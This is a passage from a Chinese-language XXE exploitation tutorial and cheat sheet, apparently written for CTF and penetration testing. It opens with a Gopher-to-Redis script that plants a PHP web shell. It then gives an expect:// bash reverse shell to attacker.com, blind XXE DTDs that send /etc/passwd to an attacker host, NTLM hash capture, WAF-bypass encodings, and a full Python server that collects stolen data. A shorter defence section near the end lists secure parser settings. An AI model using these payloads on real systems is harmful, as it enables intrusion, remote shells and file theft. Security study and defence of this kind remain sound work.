import urllib.parse
redis_cmds = [
"*3\r\n$3\r\nset\r\n$4\r\ntest\r\n$31\r\n\n\n<?php system($_GET[cmd]);?>\n\n\r\n",
"*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$13\r\n/var/www/html\r\n",
"*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n",
"*1\r\n$4\r\nsave\r\n"
]
data = "".join(redis_cmds)
encoded = urllib.parse.quote(data, safe='')
gopher_url = f"gopher://127.0.0.1:6379/_{encoded}"
print(gopher_url)
十、XXE 转 RCE
10.1 通过 expect:// 直接 RCE(PHP)
<!-- PHP 安装了 expect 扩展时,expect:// 协议可以直接执行命令 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY cmd SYSTEM "expect://id">
]>
<foo><result>&cmd;</result></foo>
<!-- 若服务器回显:uid=33(www-data)... 则直接 RCE! -->
<!-- 反弹 Shell -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY cmd SYSTEM "expect://bash -c 'bash -i >%26 /dev/tcp/attacker.com/4444 0>%261'">
]>
<foo>&cmd;</foo>
<!-- 注意:& 需要转义为 %26,防止 URI 解析错误 -->
10.2 通过 SSRF 触发 RCE
<!-- ══ FastCGI + Gopher → PHP 执行 ══ -->
<!-- 通过 XXE → Gopher → FastCGI,远程执行 PHP -->
<!-- Gopher 发送 FastCGI 数据包(需要生成工具) -->
<!-- 工具:Gopherus -->
<!-- ══ SSRF → 内网 Web Shell ══ -->
<!-- 若内网有可访问的 Shell 或命令执行接口 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/shell?cmd=id">
]>
<foo>&xxe;</foo>
<!-- ══ 通过 XXE + LFI 间接 RCE ══ -->
<!-- 1. XXE 读取 Session 文件路径 -->
<!-- 2. 向 Session 注入 PHP 代码 -->
<!-- 3. 通过 LFI 包含 Session 文件执行 -->
10.3 XXE + XSLT 执行代码
<!-- 某些 XSLT 处理器支持扩展函数,可执行系统命令 -->
<!-- Xalan-Java 的 XSLT:-->
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, 'id')"/>
<xsl:value-of select="ob:toString($process)"/>
</xsl:template>
</xsl:stylesheet>
十一、各语言与框架特殊利用
11.1 SAML XXE(SSO 场景)
SAML(Security Assertion Markup Language)基于 XML,
用于 SSO 认证,是 XXE 的高价值攻击面。
利用场景:
- 企业 SSO 登录接口
- SAML Response 未经安全解析
- SP 接收 IdP 返回的 SAML Assertion
注入点:
SAMLResponse(Base64 编码后的 XML)
SAMLRequest
攻击步骤:
1. 拦截正常的 SAML 流量
2. Base64 解码 SAMLResponse
3. 在 XML 中注入 XXE Payload
4. 重新 Base64 编码后提交
<!-- 注入了 XXE 的 SAML XML -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE samlp:AuthnRequest [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
ID="_..." Version="2.0" ...>
<saml:Issuer>&xxe;</saml:Issuer>
</samlp:AuthnRequest>
11.2 SVG 文件 XXE
<!-- SVG 本质是 XML,上传 SVG 时可能触发 XXE -->
<!-- 常见场景:头像上传、图片转换服务 -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
<!-- 若服务器处理 SVG(如转换为 PNG),XXE 被触发 -->
11.3 Office 文档 XXE(OOXML)
DOCX / XLSX / PPTX 本质是 ZIP 压缩包,内含 XML 文件。
在 XML 文件中注入 XXE Payload,上传后触发。
DOCX 结构:
word/document.xml ← 注入点
[Content_Types].xml
_rels/.rels
利用步骤:
1. 解压 .docx 文件:unzip file.docx -d docx/
2. 编辑 word/document.xml,注入 XXE
3. 重新打包:cd docx && zip -r ../evil.docx .
4. 上传 evil.docx
<!-- word/document.xml 中注入 XXE -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document xmlns:wpc="..." xmlns:w="...">
<w:body>
<w:p>
<w:r>
<w:t>&xxe;</w:t>
</w:r>
</w:p>
</w:body>
</w:document>
11.4 Java 特殊协议
<!-- ══ jar:// 协议(Java)══ -->
<!-- jar:// 会下载远程 JAR 文件,在下载过程中保持连接
可用于:端口探测(通过响应时间差异)、DoS -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "jar:http://attacker.com:8888/evil.jar!/test">
]>
<foo>&xxe;</foo>
<!-- Java 解析器会:
1. 向 attacker.com:8888 发起 HTTP 请求
2. 下载 jar 文件(可以通过流量分析获取内网信息)
3. 尝试打开 jar 内的 test 文件 -->
<!-- ══ netdoc:// 协议(Java)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "netdoc:///etc/passwd">
]>
<foo>&xxe;</foo>
<!-- ══ 利用 file:// 读取 UNC 路径(Windows + Java)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:////attacker.com/share/test">
]>
<foo>&xxe;</foo>
<!-- Windows 服务器会发起 NTLM 认证到攻击者,可捕获 NetNTLMv2 哈希 -->
11.5 Python lxml 特殊行为
# lxml 支持自定义 URI 解析器,可以监控所有实体加载
from lxml import etree
class XXELogger(etree.Resolver):
def resolve(self, url, id, context):
print(f"[XXE Attempt] URL: {url}")
return self.resolve_string(b"logged", context)
parser = etree.XMLParser(load_dtd=True)
parser.resolvers.add(XXELogger())
# 可用于检测 XXE 攻击
十二、文件读取技巧
12.1 读取包含特殊字符的文件
<!-- 直接读取 PHP 文件时,<? 等字符会破坏 XML 结构 -->
<!-- 方案一:使用 CDATA 包裹(需通过外部 DTD)-->
<!-- 在外部 DTD 中定义(evil.dtd)-->
<!ENTITY % file SYSTEM "file:///var/www/html/config.php">
<!ENTITY % start "<!ENTITY wrapper '<![CDATA['>">
<!ENTITY % end "<!ENTITY wrapper2 ']]>'>">
<!-- 尝试:在节点内输出 CDATA 包裹后的文件内容 -->
<!-- 注:XML 规范中 CDATA 不能通过实体嵌套构建,需要解析器具体实现支持 -->
<!-- 方案二:用 PHP 流 Base64 编码 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<foo>&xxe;</foo>
<!-- 返回 Base64 字符串,解码后得到源码 -->
<!-- 方案三:用 Java 的 UTF-8 编码容错读取 -->
12.2 目录枚举
<!-- 某些解析器支持读取目录列表 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///var/www/html/">
]>
<foo>&xxe;</foo>
<!-- 部分 Java 实现会返回目录列表 -->
<!-- PHP 中使用 glob:// -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./">
]>
<foo>&xxe;</foo>
<!-- 配合 glob 可枚举文件 -->
12.3 读取二进制文件
<!-- 直接读取二进制文件(如 .class / 可执行文件)可能破坏 XML -->
<!-- 使用 Base64 编码后再读取 -->
<!-- PHP 环境 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/usr/local/bin/app">
]>
<foo>&xxe;</foo>
<!-- Java 环境读取 WEB-INF/classes/xxx.class -->
<!-- 使用带外传输(Base64 后通过 HTTP/DNS 发出)-->
<!-- Blind XXE 读取二进制(DTD)-->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/WEB-INF/web.xml">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/b64?d=%file;'>">
%eval;
十三、编码与格式绕过
13.1 XML 编码声明绕过
<!-- 修改 XML 编码声明,某些 WAF 按 UTF-8 解析但解析器使用声明的编码 -->
<!-- UTF-16 编码的 XML -->
<?xml version="1.0" encoding="UTF-16"?>
<!-- 整个文档用 UTF-16 编码发送(BOM: FF FE 或 FE FF)-->
<!-- WAF 可能无法正确解析 UTF-16 -->
<!-- UTF-16BE 编码 -->
<?xml version="1.0" encoding="UTF-16BE"?>
<!-- IBM/Shift-JIS 等多字节编码 -->
<?xml version="1.0" encoding="GBK"?>
<!-- 利用多字节字符吞掉 WAF 检测的单字节关键词 -->
<!-- Python 生成 UTF-16 编码的 XXE Payload -->
import io
payload = '''<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>'''
# 编码为 UTF-16(带 BOM)
encoded = payload.encode('utf-16')
# 写入文件或直接发送
with open('payload_utf16.xml', 'wb') as f:
f.write(encoded)
print(f"Payload size: {len(encoded)} bytes")
13.2 字符实体编码绕过
<!-- 使用字符实体编码关键字符,绕过基于字符串的 WAF -->
<!-- % 的字符实体 → % 或 % -->
<!-- 在 DTD 定义中嵌套参数实体时使用 -->
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>">
<!-- SYSTEM 关键字编码(通常无效,但可试) -->
<!-- XML 规范中 DOCTYPE 关键字不支持实体引用 -->
<!-- 但属性值中可以使用字符实体 -->
<!-- 关键字变体(空格/换行) -->
<!DOCTYPE foo [ <!-- 多余空格 -->
<! ENTITY xxe SYSTEM "file:///etc/passwd"> <!-- 标签内空格 -->
]>
<!-- 某些解析器允许,但 WAF 可能按严格格式匹配 -->
13.3 大小写与空白变体
<!-- XML 关键字的大小写(XML 标准中 DOCTYPE、SYSTEM 等是大小写敏感的)-->
<!-- 但某些非标准解析器可能不区分大小写 -->
<!DOCTYPE foo [
<!entity xxe system "file:///etc/passwd"> <!-- 小写 entity/system -->
]>
<!-- 注:标准 XML 解析器要求大写,但部分实现可能宽松处理 -->
<!-- 换行符替代空格 -->
<!DOCTYPE
foo
[<!ENTITY
xxe
SYSTEM
"file:///etc/passwd">]>
<!-- 制表符替代空格 -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
13.4 URL 编码绕过
<!-- 对 SYSTEM 后的 URL 进行编码 -->
<!ENTITY xxe SYSTEM "file:///etc%2fpasswd">
<!-- %2f = /,某些解析器会自动 URL 解码 -->
<!ENTITY xxe SYSTEM "file:///etc%2Fpasswd">
<!-- 大写编码 -->
<!-- 双重编码 -->
<!ENTITY xxe SYSTEM "file:///etc%252fpasswd">
<!-- %25 = %,双重解码后得到 / -->
<!-- Unicode 编码(URL 中) -->
<!ENTITY xxe SYSTEM "file:///etc%u002fpasswd">
<!-- %u002f 是 IIS 的 Unicode 编码(/ 的 Unicode 码点)-->
十四、协议与实体绕过
14.1 协议变体绕过
<!-- ══ 不同的 file:// 写法 ══ -->
file:///etc/passwd
file://localhost/etc/passwd
file://127.0.0.1/etc/passwd
file:////etc/passwd <!-- 某些系统支持 -->
<!-- ══ http:// SSRF 变体 ══ -->
http://127.0.0.1/
http://localhost/
http://0.0.0.0/
http://[::1]/ <!-- IPv6 回环 -->
http://0177.0.0.1/ <!-- 八进制 IP:177 = 127 -->
http://2130706433/ <!-- 十进制 IP:2130706433 = 127.0.0.1 -->
http://0x7f000001/ <!-- 十六进制 IP:0x7f000001 = 127.0.0.1 -->
http://127.1/ <!-- 缩写 IP -->
http://127.0.1/ <!-- 部分省略 -->
<!-- ══ PHP 协议(PHP 环境)══ -->
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=/etc/passwd
php://input <!-- 读取 POST 数据 -->
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
expect://id <!-- 命令执行 -->
14.2 实体名称混淆
<!-- 使用不同的实体名称避免关键字检测 -->
<!-- WAF 可能只检测 &xxe; 或 <!ENTITY xxe,但不检测其他名称 -->
<!ENTITY _ SYSTEM "file:///etc/passwd">
<foo>&_;</foo>
<!ENTITY a1b2c3 SYSTEM "file:///etc/passwd">
<foo>&a1b2c3;</foo>
<!-- 使用数字开头的名称(某些解析器支持,XML 规范中名称不能以数字开头)-->
<!-- <!ENTITY 1xxe SYSTEM "..."> 不合规但某些解析器接受 -->
<!-- Unicode 实体名称 -->
<!ENTITY étude SYSTEM "file:///etc/passwd">
<foo>&étude;</foo>
14.3 绕过 SYSTEM 关键字过滤
<!-- 若 WAF 过滤了 SYSTEM 关键字,使用 PUBLIC 替代 -->
<!ENTITY xxe PUBLIC "any-string" "file:///etc/passwd">
<foo>&xxe;</foo>
<!-- PUBLIC 需要两个参数:公共标识符(任意字符串)和系统标识符(URI)-->
<!-- 参数实体 + PUBLIC -->
<!ENTITY % xxe PUBLIC "id" "http://attacker.com/evil.dtd">
%xxe;
<!-- 绕过对 // 的过滤(file:// 中的双斜杠)-->
file:/etc/passwd <!-- 某些系统支持单斜杠 -->
file:////etc/passwd <!-- 四斜杠 -->
14.4 分块传输与格式变体
<!-- HTTP 分块传输绕过基于内容长度的检测 -->
POST /api/parse HTTP/1.1
Transfer-Encoding: chunked
Content-Type: application/xml
1a
<?xml version="1.0"?>
1b
<!DOCTYPE foo [<!ENTITY
15
xxe SYSTEM "file:
12
///etc/passwd">]>
c
<foo>&xxe;</foo>
0
十五、Content-Type 绕过
15.1 修改 Content-Type 触发 XML 解析
<!-- 原始请求(JSON 格式)-->
POST /api/user HTTP/1.1
Content-Type: application/json
{"username": "alice", "action": "login"}
<!-- ══ 方法一:直接改为 XML ══ -->
POST /api/user HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
<username>&xxe;</username>
<action>login</action>
</root>
<!-- 若服务器同时接受 XML,可能触发 XXE -->
<!-- ══ 方法二:Content-Type 变体 ══ -->
Content-Type: text/xml
Content-Type: application/xhtml+xml
Content-Type: application/rss+xml
Content-Type: image/svg+xml <!-- SVG 场景 -->
Content-Type: application/atom+xml
Content-Type: application/soap+xml <!-- SOAP 场景 -->
Content-Type: application/x-www-form-urlencoded <!-- 某些框架会转换 -->
<!-- ══ 方法三:参数中混入 XML ══ -->
<!-- 若服务器对某个参数的值进行 XML 解析 -->
POST /api/user HTTP/1.1
Content-Type: application/x-www-form-urlencoded
data=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C...%3E <!-- URL 编码的 XML -->
15.2 JSON 中嵌入 XXE
{
"data": "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>",
"parse_xml": true
}
<!-- 若后端对 JSON 中的某个字段进行 XML 解析 -->
<!-- 需要找到应用中"解析 XML 字段"的代码路径 -->
15.3 SOAP 接口注入
<!-- SOAP 本身就是 XML,是 XXE 的天然攻击面 -->
POST /webservice HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "urn:action"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUser>
<username>&xxe;</username>
</GetUser>
</soap:Body>
</soap:Envelope>
十六、CTF 实战思路
16.1 XXE 检测与识别流程
发现 XML 接口
│
├── 是否接受 XML 格式输入?
│ ├── Content-Type: application/xml
│ ├── 请求体包含 XML 结构
│ ├── 接受 SVG / DOCX / XLSX 上传
│ └── SOAP / XML-RPC / SAML 接口
│
↓
基础探测(有回显)
├── 注入 <!DOCTYPE foo [<!ENTITY xxe "test">]><foo>&xxe;</foo>
│ 若响应中出现 "test",证明实体被解析
└── 注入 <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
若响应包含 passwd 内容,确认有回显 XXE
│
↓
无回显检测
├── 注入 <!ENTITY xxe SYSTEM "http://dnslog.cn/x.x">
│ DNSlog 收到请求 → 确认 Blind XXE
└── 若有报错 → 尝试报错型 XXE
│
↓
利用阶段
├── 有回显:直接读取敏感文件
├── 无回显:构造外部 DTD + HTTP/DNS 带外
└── 报错型:构造非法 URI 触发报错泄露
16.2 各场景快速 Payload
<!-- ══ 场景一:确认是否有 XXE(有回显)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY test "XXE_TEST">]>
<foo>&test;</foo>
<!-- 响应中出现 XXE_TEST → 实体被解析 -->
<!-- ══ 场景二:读取文件(有回显)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY f SYSTEM "file:///etc/passwd">]>
<foo><data>&f;</data></foo>
<!-- ══ 场景三:PHP 源码读取(有回显)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY f SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<foo>&f;</foo>
<!-- ══ 场景四:Blind XXE 探测(DNS)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://your.burpcollaborator.net/">]>
<foo>&xxe;</foo>
<!-- ══ 场景五:Blind XXE 文件读取(外部 DTD + HTTP OOB)══ -->
<!-- 发送到服务器的 XML -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<foo>&exfil;</foo>
<!-- evil.dtd(放在攻击者服务器)-->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/collect?d=%file;'>">
%eval;
<!-- ══ 场景六:PHP 环境 Blind XXE + Base64 ══ -->
<!-- evil.dtd -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/collect?d=%file;'>">
%eval;
<!-- ══ 场景七:报错型 XXE ══ -->
<!-- evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!-- ══ 场景八:XInclude 注入 ══ -->
<!-- 当无法控制 DOCTYPE 时 -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</foo>
<!-- ══ 场景九:SVG XXE ══ -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
<!-- ══ 场景十:SSRF + 内网探测 ══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://192.168.1.1:80/">]>
<foo>&xxe;</foo>
16.3 攻击者服务器搭建
#!/usr/bin/env python3
# 简易 HTTP 服务器:提供 evil.dtd + 接收带外数据
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
import os, base64
class XXEServer(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urlparse(self.path)
# ── 提供 evil.dtd ──
if parsed.path == '/evil.dtd':
dtd_content = b'''<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://ATTACKER_IP:8080/collect?d=%file;'>">
%eval;'''
self.send_response(200)
self.send_header('Content-Type', 'text/xml')
self.end_headers()
self.wfile.write(dtd_content)
# ── 接收带外数据 ──
elif parsed.path == '/collect':
params = parse_qs(parsed.query)
if 'd' in params:
data = params['d'][0]
print(f"\n[!] Received data:")
print(data)
# 尝试 Base64 解码
try:
decoded = base64.b64decode(data).decode('utf-8', errors='replace')
print(f"[!] Decoded:\n{decoded}")
except:
pass
self.send_response(200)
self.end_headers()
# ── 其他请求记录 ──
else:
print(f"[*] Request: {self.path}")
self.send_response(200)
self.end_headers()
def log_message(self, format, *args):
pass # 静默默认日志
if __name__ == '__main__':
server = HTTPServer(('0.0.0.0', 8080), XXEServer)
print("[*] XXE Server listening on :8080")
server.serve_forever()
16.4 常见 CTF 题型
题型一:有回显 XXE 读取 flag 文件
→ 直接用 file:// 读取 /flag 或 /flag.txt
题型二:PHP 源码审计 + XXE
→ 用 php://filter 读取关键源码,发现其他漏洞
题型三:Blind XXE + DNSlog
→ 构造外部 DTD,通过 DNS/HTTP OOB 带外数据
题型四:XXE 转 SSRF 访问内网
→ 通过 http:// 访问内网服务,如 127.0.0.1:8080/admin
题型五:SVG/DOCX 上传 XXE
→ 构造恶意 SVG 或 DOCX 上传
题型六:报错型 XXE
→ 通过错误信息读取文件内容
题型七:SAML XXE
→ 拦截 SAMLResponse,注入 XXE,重新 Base64 编码提交
题型八:XInclude 注入
→ 无法控制 DOCTYPE,但可以在 XML 内容中注入 XInclude
重点关注:
- Content-Type 是否可以改为 text/xml
- 参数中是否有 XML 格式的值
- 上传功能是否接受 SVG/XML/DOCX
- 是否有 SOAP 接口
十七、防御措施
17.1 禁用外部实体(核心防御)
<?php
// PHP 7.x 禁用外部实体
libxml_disable_entity_loader(true); // PHP 8.0 中已默认禁用且函数被移除
// PHP 8.0+ 的正确做法(设置解析选项)
$dom = new DOMDocument();
// PHP 8 中 DOMDocument::loadXML 默认不加载外部实体
// 显式配置(推荐)
$dom->loadXML($xml, LIBXML_NONET | LIBXML_NOENT);
// LIBXML_NONET:禁止网络访问
// 注意:LIBXML_NOENT 替换实体但不加载外部实体(在PHP 8中)
// 更安全:先检查 XML 是否含有 DOCTYPE
if (strpos($xml, '<!DOCTYPE') !== false) {
throw new Exception('DOCTYPE not allowed');
}
// Java 完整安全配置
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 禁用 DOCTYPE 声明(最彻底)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 或者,若需要 DTD 但禁止外部实体:
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
// SAXParser 安全配置
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// XMLInputFactory (StAX) 安全配置
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false);
# Python 安全配置
# 方案一:使用 defusedxml 库(推荐)
import defusedxml.ElementTree as ET
tree = ET.parse('file.xml') # 安全!
# 方案二:lxml 安全配置
from lxml import etree
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
load_dtd=False,
dtd_validation=False
)
tree = etree.fromstring(xml_bytes, parser)
# 方案三:PyYAML 安全配置
import yaml
data = yaml.safe_load(yaml_string) # 代替 yaml.load()
17.2 输入验证
import re
def validate_xml_input(xml_string: str) -> bool:
"""
在解析前对 XML 进行基础安全检查
"""
# 检查是否含有 DOCTYPE(可能包含外部实体声明)
if re.search(r'<!DOCTYPE', xml_string, re.IGNORECASE):
return False
# 检查是否含有外部实体声明
if re.search(r'<!ENTITY\s+\S+\s+SYSTEM', xml_string, re.IGNORECASE):
return False
if re.search(r'<!ENTITY\s+\S+\s+PUBLIC', xml_string, re.IGNORECASE):
return False
# 检查参数实体声明
if re.search(r'<!ENTITY\s+%', xml_string, re.IGNORECASE):
return False
# 检查 XInclude
if 'xi:include' in xml_string or 'XInclude' in xml_string:
return False
return True
17.3 替代方案
# 若应用场景允许,优先使用 JSON 代替 XML
# JSON 不支持实体引用,天然避免 XXE
import json
data = json.loads(request.body) # 安全
# 若必须使用 XML:
# 1. 禁用 DOCTYPE 和外部实体
# 2. 使用白名单验证 XML 结构
# 3. 在沙箱环境中解析
# 4. 设置网络访问超时和访问控制
# 防御 XInclude:
# 禁用 XInclude 处理
dbf.setXIncludeAware(false); # Java
parser = etree.XMLParser(huge_tree=False) # lxml
17.4 防御检查清单
核心防御(必须):
✅ 禁用 XML 解析器的外部实体加载功能
✅ 禁用参数实体处理
✅ 禁用或限制 DOCTYPE 声明
✅ 升级到支持安全默认值的解析器版本
输入处理:
✅ 解析前检查 XML 是否含有 DOCTYPE / ENTITY 关键字
✅ 使用 XML Schema 或 DTD 白名单验证输入结构
✅ 对用户上传的文件(SVG/DOCX/XLSX)进行 XML 安全检查
架构层面:
✅ XML 解析服务以最小权限运行
✅ 限制解析器的文件系统访问范围(chroot / 容器隔离)
✅ 禁止解析服务器对外发起网络请求(出站防火墙)
✅ 监控异常的文件访问和外部网络请求
依赖管理:
✅ 使用 defusedxml(Python)/ 安全的解析器
✅ 保持 XML 解析库版本最新
✅ 使用 SCA 工具扫描 XML 处理相关的已知 CVE
特殊场景:
✅ SAML SSO 实现使用安全的 XML 解析配置
✅ 文件上传(SVG/Office)前进行 XML 安全检查或重新渲染
✅ SOAP 接口启用 WS-Security 并限制 DOCTYPE
附录
A. XXE Payload 速查表
<!-- 有回显:读取 Linux 文件 -->
<?xml version="1.0"?><!DOCTYPE f[<!ENTITY x SYSTEM "file:///etc/passwd">]><f>&x;</f>
<!-- 有回显:PHP 源码读取 -->
<?xml version="1.0"?><!DOCTYPE f[<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><f>&x;</f>
<!-- 有回显:RCE(expect 扩展)-->
<?xml version="1.0"?><!DOCTYPE f[<!ENTITY x SYSTEM "expect://id">]><f>&x;</f>
<!-- 有回显:Windows 文件 -->
<?xml version="1.0"?><!DOCTYPE f[<!ENTITY x SYSTEM "file:///c:/windows/win.ini">]><f>&x;</f>
<!-- Blind:DNS 探测 -->
<?xml version="1.0"?><!DOCTYPE f[<!ENTITY x SYSTEM "http://DNSLOG/">]><f>&x;</f>
<!-- Blind:外部 DTD 带外 -->
<?xml version="1.0"?><!DOCTYPE f[<!ENTITY % d SYSTEM "http://ATTACKER/evil.dtd">%d;]><f>&e;</f>
<!-- XInclude -->
<f xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="file:///etc/passwd" parse="text"/></f>
<!-- SVG -->
<?xml version="1.0" standalone="yes"?><!DOCTYPE f[<!ENTITY x SYSTEM "file:///etc/passwd">]><svg xmlns="http://www.w3.org/2000/svg"><text>&x;</text></svg>
<!-- DoS(十亿笑脸)-->
<?xml version="1.0"?><!DOCTYPE l[<!ENTITY a "a"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;"><!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">]><l>&d;</l>
B. evil.dtd 模板汇总
<!-- 模板一:HTTP 带外(通用)-->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://ATTACKER/collect?d=%file;'>">
%eval;
<!-- 模板二:HTTP 带外(PHP Base64)-->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://ATTACKER/collect?d=%file;'>">
%eval;
<!-- 模板三:仅参数实体(无需通用实体)-->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://ATTACKER/collect?d=%file;'>">
%eval;
%exfil;
<!-- 模板四:报错型 -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///invalid/%file;'>">
%eval;
%error;
<!-- 模板五:FTP 带外(多行数据)-->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'ftp://ATTACKER:2121/%file;'>">
%eval;
C. 常用测试协议与路径
| 协议 |
用途 |
环境 |
示例 |
file:// |
本地文件读取 |
通用 |
file:///etc/passwd |
http:// |
SSRF / 带外 |
通用 |
http://attacker.com/ |
https:// |
SSRF(HTTPS) |
通用 |
https://internal-api/ |
ftp:// |
FTP 带外(多行) |
通用 |
ftp://attacker.com:21/ |
gopher:// |
原始 TCP 数据 |
部分支持 |
gopher://127.0.0.1:6379/_*1 |
php://filter |
PHP 源码读取 |
PHP |
php://filter/convert.base64-encode/resource=x.php |
expect:// |
RCE |
PHP + expect |
expect://id |
jar:// |
Java JAR 读取 |
Java |
jar:http://attacker.com/evil.jar!/ |
netdoc:// |
文件读取 |
Java |
netdoc:///etc/passwd |
dict:// |
端口探测 |
部分支持 |
dict://127.0.0.1:6379/info |
ldap:// |
JNDI(Java) |
Java |
ldap://attacker.com/exploit |
D. WAF 绕过速查
| 绕过目标 |
方法 |
示例 |
| SYSTEM 关键字 |
用 PUBLIC 代替 |
<!ENTITY x PUBLIC "id" "file:///etc/passwd"> |
| file:// 检测 |
变体写法 |
file://localhost/etc/passwd |
| 127.0.0.1 |
IP 编码 |
0x7f000001 / 2130706433 / 0177.0.0.1 |
| 关键词检测 |
